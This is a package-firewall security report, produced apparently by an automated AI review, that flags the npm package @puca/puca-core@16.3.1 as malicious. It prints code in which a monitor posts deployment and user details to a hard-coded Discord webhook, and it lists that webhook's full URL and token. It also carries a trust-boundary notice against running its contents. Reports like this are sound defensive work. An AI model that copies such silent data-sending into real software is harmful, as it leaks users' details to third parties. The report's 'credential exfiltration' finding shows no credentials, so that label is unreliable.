---
canonical: "https://firewall.lpm.dev/npm/@puca/puca-core"
markdown: "https://firewall.lpm.dev/npm/@puca/puca-core/report.md"
package: "@puca/puca-core"
report_status: "published"
title: "@puca/puca-core@16.3.1 npm security report"
verdict: "malicious"
version: "16.3.1"
---

# @puca/puca-core@16.3.1 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — The webhook recipient can learn deployment identifiers and user account and usage details without an apparent user-configured destination.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Data exfiltration
- **Selected version:** 16.3.1
- **Selected version is latest:** Yes
- **Analysis source:** AI security review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The package sends identifying application and user usage details to a fixed Discord webhook when production alerts occur. This is a reachable disclosure to an unrelated collector, so the package is malicious.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 91.0%
- **Started:** 2026-11-21T14:45:10.412Z
- **Finished:** 2026-11-21T14:48:28.574Z
- **Download time:** 771 ms
- **Static scan time:** 1242 ms
- **AI review time:** 196149 ms
- **Total time:** 198162 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Production alerts disclose application and user details to a hard-coded Discord webhook.

- **Trigger:** At runtime, when an alert occurs in a production deployment; one reachable trigger is a user's LLM token budget being exceeded.

- **Impact:** The webhook recipient can learn deployment identifiers and user account and usage details without an apparent user-configured destination.

- **Evidence paths:** dist/essential/monitor.js, dist/core/services/llm/llm.service.js

- **Review source:** ai\_review

- **Reviewed:** 2026-11-21T14:48:28.574Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** MonitorService posts the deployment domain, module name, and alert message to the webhook. The LLM budget alert message includes the user's username and total budget.

- **Attack narrative:** During production runtime, a token-budget alert can include a user's username and total budget. MonitorService sends that message, along with the deployment domain and module name, to a hard-coded Discord webhook. The package source shows no user-configured destination or consent check for this disclosure.

- **Rationale:** The package sends identifying application and user usage details to a fixed Discord webhook when production alerts occur. This is a reachable disclosure to an unrelated collector, so the package is malicious.

- **Files touched:** dist/essential/monitor.js, dist/core/services/llm/llm.service.js

- **Network endpoints:** https://discord.com/api/webhooks/1379568992724713472/o-kY0nCxMsxN9GDcZ0RdX\_5p16A\_mUN4h7TWdrAqBIsSar5dLAvt4beZcrjbplpCAMgz, https://monitor.puca.app

### Review decision

- **Verdict:** Malicious

- **Confidence:** 91.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** MonitorService posts alerts to a hard-coded Discord webhook., The webhook receives the deployment domain, module name, and alert message., A token-budget alert message includes the affected user's username and total budget.

- **Evidence against:** Discord alerts are gated to production and sent only when alert events occur., A separate metrics path sends measurements to monitor.puca.app only when MONITOR\_TOKEN is configured., The only lifecycle script is prepublishOnly, which runs tests and builds the package.

## Affected versions and remediation

This report applies to @puca/puca-core@16.3.1.

- Avoid installing @puca/puca-core@16.3.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Non Install Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 80.0%

Package declares lifecycle scripts that are not normally run for registry tarball installs.

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. High: Eval
- **Category:** Source
- **Confidence:** 80.0%
- **Path:** dist/core/services/user-config.service.js
- **Public source:** [View source](<https://unpkg.com/@puca/puca-core@16.3.1/dist/core/services/user-config.service.js>)

Package source references dynamic code evaluation.

Public source snippet (untrusted):

```javascript
L101: }
L102: async eval({ accessCondition, user, moduleName, ifPermissionMissing, }) {
L103: if (accessCondition.includes('e(') || accessCondition.includes('someWritePermission(') || accessCondition.includes('hasAccessTo(')) {
```

### 4. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 5. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 6. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 7. Critical: Hardcoded Runtime Data Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** dist/essential/monitor.js
- **Public source:** [View source](<https://unpkg.com/@puca/puca-core@16.3.1/dist/essential/monitor.js>)

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

Public source snippet (untrusted):

```javascript
L4: const _ = require("lodash");
L5: const axios_1 = require("axios");
L6: const logger_1 = require("../core/services/logger");
...
L12: this.URL = 'https://monitor.puca.app';
L13: this.TOKEN = process.env.MONITOR_TOKEN;
L14: this.ORG = 'puca';
...
L54: const discordChannel = 'https://discord.[redacted]-kY0nCxMsxN9GDcZ0RdX_5p16A_mUN4h7TWdrAqBIsSar5dLAvt4beZcrjbplpCAMgz';
L55: axios_1.default.post(discordChannel, {
L56: content: `**[${this.domain}]** ${module.name}\n${message}`
```

### 8. Critical: Credential Exfiltration
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** dist/essential/monitor.js
- **Public source:** [View source](<https://unpkg.com/@puca/puca-core@16.3.1/dist/essential/monitor.js>)

Source appears to send environment or credential material to an external endpoint.

Public source snippet (untrusted):

```javascript
L4: const _ = require("lodash");
L5: const axios_1 = require("axios");
L6: const logger_1 = require("../core/services/logger");
...
L12: this.URL = 'https://monitor.puca.app';
L13: this.TOKEN = process.env.MONITOR_TOKEN;
L14: this.ORG = 'puca';
...
L54: const discordChannel = 'https://discord.[redacted]-kY0nCxMsxN9GDcZ0RdX_5p16A_mUN4h7TWdrAqBIsSar5dLAvt4beZcrjbplpCAMgz';
L55: axios_1.default.post(discordChannel, {
L56: content: `**[${this.domain}]** ${module.name}\n${message}`
```

### 9. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 10. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 11. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 12. Low: No License
- **Category:** Manifest
- **Confidence:** 80.0%

Package manifest does not declare a clear license.

### 13. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** dist/core/services/auth.service.js
- **Public source:** [View source](<https://unpkg.com/@puca/puca-core@16.3.1/dist/core/services/auth.service.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @puca/puca-core@16.3.0
matchedPath = dist/core/services/auth.service.js
matchedIdentity = npm:QHB1Y2EvcHVjYS1jb3Jl:16.3.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 14. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** dist/core/services/report.service.js
- **Public source:** [View source](<https://unpkg.com/@puca/puca-core@16.3.1/dist/core/services/report.service.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @puca/puca-core@16.3.0
matchedPath = dist/core/services/report.service.js
matchedIdentity = npm:QHB1Y2EvcHVjYS1jb3Jl:16.3.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 15. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** dist/core/services/logger.js
- **Public source:** [View source](<https://unpkg.com/@puca/puca-core@16.3.1/dist/core/services/logger.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @puca/puca-core@16.3.0
matchedPath = dist/core/services/logger.js
matchedIdentity = npm:QHB1Y2EvcHVjYS1jb3Jl:16.3.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 16. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** dist/core/services/migration/migration.service.js
- **Public source:** [View source](<https://unpkg.com/@puca/puca-core@16.3.1/dist/core/services/migration/migration.service.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @puca/puca-core@16.3.0
matchedPath = [redacted].service.js
matchedIdentity = npm:QHB1Y2EvcHVjYS1jb3Jl:16.3.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 17. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** dist/core/services/source/gcloud-run-cloud/v1/application.service.js
- **Public source:** [View source](<https://unpkg.com/@puca/puca-core@16.3.1/dist/core/services/source/gcloud-run-cloud/v1/application.service.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @puca/puca-core@16.3.0
matchedPath = [redacted]-run-cloud/v1/application.service.js
matchedIdentity = npm:QHB1Y2EvcHVjYS1jb3Jl:16.3.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 18. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** dist/core/services/storage/implementation/s3-client.service.js
- **Public source:** [View source](<https://unpkg.com/@puca/puca-core@16.3.1/dist/core/services/storage/implementation/s3-client.service.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @puca/puca-core@16.3.0
matchedPath = [redacted]-client.service.js
matchedIdentity = npm:QHB1Y2EvcHVjYS1jb3Jl:16.3.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 19. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** dist/orm/services/transaction.js
- **Public source:** [View source](<https://unpkg.com/@puca/puca-core@16.3.1/dist/orm/services/transaction.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @puca/puca-core@16.3.0
matchedPath = dist/orm/services/transaction.js
matchedIdentity = npm:QHB1Y2EvcHVjYS1jb3Jl:16.3.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 20. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** dist/core/services/source/source.service.js
- **Public source:** [View source](<https://unpkg.com/@puca/puca-core@16.3.1/dist/core/services/source/source.service.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @puca/puca-core@16.3.0
matchedPath = [redacted].service.js
matchedIdentity = npm:QHB1Y2EvcHVjYS1jb3Jl:16.3.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** prepublishOnly
- **Dependencies:** 38
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 26
- **Published dependency-graph edges:** 38

### Published dependency entries
- @elasticemail/elasticemail-client-ts-axios ^4.0.22 (Dependency)
- @grpc/grpc-js ^1.4.4 (Dependency)
- @grpc/proto-loader ^0.6.7 (Dependency)
- @modelcontextprotocol/node ^2.0.0 (Dependency)
- @modelcontextprotocol/sdk ^1.11.3 (Dependency)
- @modelcontextprotocol/server ^2.0.0 (Dependency)
- @nestjs/common 7.6.11 (Dependency)
- @nestjs/core 7.6.11 (Dependency)
- @nestjs/platform-express 7.6.11 (Dependency)
- @onesignal/node-onesignal ^1.0.0-beta9 (Dependency)
- @socket.io/redis-adapter ^7.0.0 (Dependency)
- @types/amqplib ^0.10.5 (Dependency)
- @types/moment ^2.13.0 (Dependency)
- amqplib ^0.10.4 (Dependency)
- aws-sdk ^2.991.0 (Dependency)
- axios ^0.22.0 (Dependency)
- bull ^4.16.4 (Dependency)
- decimal.js ^10.4.3 (Dependency)
- escape-string-regexp 4.0.0 (Dependency)
- fs-extra 10.0.0 (Dependency)
- groq-sdk ^0.30.0 (Dependency)
- jexl ^2.3.0 (Dependency)
- jsonwebtoken 8.5.1 (Dependency)
- lodash 4.17.20 (Dependency)
- moment ^2.29.1 (Dependency)
- nearley ^2.20.1 (Dependency)
- node-dir ^0.1.17 (Dependency)
- node-sql-parser 4.18.0 (Dependency)
- openai ^4.104.0 (Dependency)
- pg-escape 0.2.0 (Dependency)
- queue ^6.0.0 (Dependency)
- redis ^3.1.2 (Dependency)
- reflect-metadata 0.1.13 (Dependency)
- rimraf 3.0.0 (Dependency)
- rxjs ^7.4.0 (Dependency)
- socket.io ^4.1.2 (Dependency)
- typesense ^1.5.3 (Dependency)
- uuid 8.3.2 (Dependency)

## Package metadata
- **Package:** @puca/puca-core
- **Ecosystem:** npm
- **Version:** 16.3.1
- **License:** UNLICENSED
- **Version published:** 2026-11-19T19:08:13.685Z
- **Package first seen:** 2026-11-18T13:30:43.552Z
- **Package last seen:** 2026-11-21T14:49:09.960Z
- **Known versions:** 4
- **Latest version:** 16.3.1
- **Appeal under review:** No
- **Author:** Raphael Aguiar
- **Runtime engines:** node: \>=22
- **Artifact files:** 540
- **Artifact unpacked size:** 2,615,176 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@puca/puca-core>)
